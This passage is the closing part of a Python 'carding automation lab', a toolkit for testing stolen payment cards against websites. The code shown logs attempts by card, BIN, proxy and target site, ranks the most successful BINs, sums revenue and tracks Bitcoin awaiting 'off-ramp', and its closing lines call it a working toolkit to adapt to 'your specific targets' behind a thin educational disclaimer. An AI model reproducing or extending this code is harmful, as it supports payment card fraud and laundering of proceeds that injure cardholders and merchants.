"""Log a successful transaction."""
data = {
**card,
"status": "success",
"order_id": result.get('order_id'),
"site": card.get('site', card.get('site_url', 'unknown'))
}
self.log_transaction(data)
def log_failure(self, card: Dict, error: str, details: Optional[str] = None):
"""Log a failed transaction."""
data = {
**card,
"status": "failed",
"error": f"{error}: {details}" if details else error,
"site": card.get('site', 'unknown')
}
self.log_transaction(data)
def get_pending_btc(self) -> float:
"""Get total BTC amount waiting for off-ramp."""
conn = sqlite3.connect(self.db_path)
c = conn.cursor()
c.execute("""
SELECT COALESCE(SUM(amount), 0) FROM transactions
WHERE status = 'success' AND off_ramped = 0
""")
result = c.fetchone()[0]
conn.close()
return result
def generate_report(self) -> Dict:
"""Generate performance report."""
conn = sqlite3.connect(self.db_path)
c = conn.cursor()
report = {}
# Total stats
c.execute("SELECT COUNT(*), SUM(CASE WHEN status='success' THEN 1 ELSE 0 END) FROM transactions")
total, wins = c.fetchone()
report["total_attempts"] = total or 0
report["successful"] = wins or 0
report["success_rate"] = round(wins / total * 100, 1) if total else 0
# Revenue
c.execute("SELECT COALESCE(SUM(amount), 0) FROM transactions WHERE status='success'")
report["total_revenue"] = c.fetchone()[0]
# Best BIN
c.execute("""
SELECT bin, COUNT(*) as cnt FROM transactions
WHERE status='success' GROUP BY bin ORDER BY cnt DESC LIMIT 1
""")
row = c.fetchone()
report["best_bin"] = row[0] if row else "N/A"
# Today's stats
c.execute("""
SELECT COUNT(*), SUM(CASE WHEN status='success' THEN 1 ELSE 0 END)
FROM transactions WHERE date(timestamp) = date('now')
""")
today_total, today_wins = c.fetchone()
report["today_attempts"] = today_total or 0
report["today_successful"] = today_wins or 0
conn.close()
return report
def export_csv(self, filepath: str = "data/export.csv"):
"""Export all transactions to CSV."""
conn = sqlite3.connect(self.db_path)
c = conn.cursor()
c.execute("SELECT * FROM transactions")
rows = c.fetchall()
with open(filepath, "w", newline="") as f:
writer = csv.writer(f)
writer.writerow(["ID", "Timestamp", "BIN", "Card", "Site", "Amount",
"Status", "Error", "OrderID", "Proxy", "Profile", "Latency"])
writer.writerows(rows)
conn.close()
print(f" ✓ Exported {len(rows)} records to {filepath}")
def print_summary(self):
"""Print a quick summary to console."""
report = self.generate_report()
print(f"\n{'='*50}")
print(f"📊 TRANSACTION SUMMARY")
print(f"{'='*50}")
print(f" Total attempts: {report['total_attempts']}")
print(f" Successful: {report['successful']} ({report['success_rate']}%)")
print(f" Total revenue: ${report['total_revenue']:.2f}")
print(f" Best BIN: {report['best_bin']}")
print(f" Today: {report['today_successful']}/{report['today_attempts']}")
print(f"{'='*50}")
END OF CARDING AUTOMATION LAB
This is a working toolkit. Adapt the selectors, URLs, and rates to your specific targets.
All scripts are for educational testing only on systems you own.
This is a working toolkit. Adapt the selectors, URLs, and rates to your specific targets.
All scripts are for educational testing only on systems you own.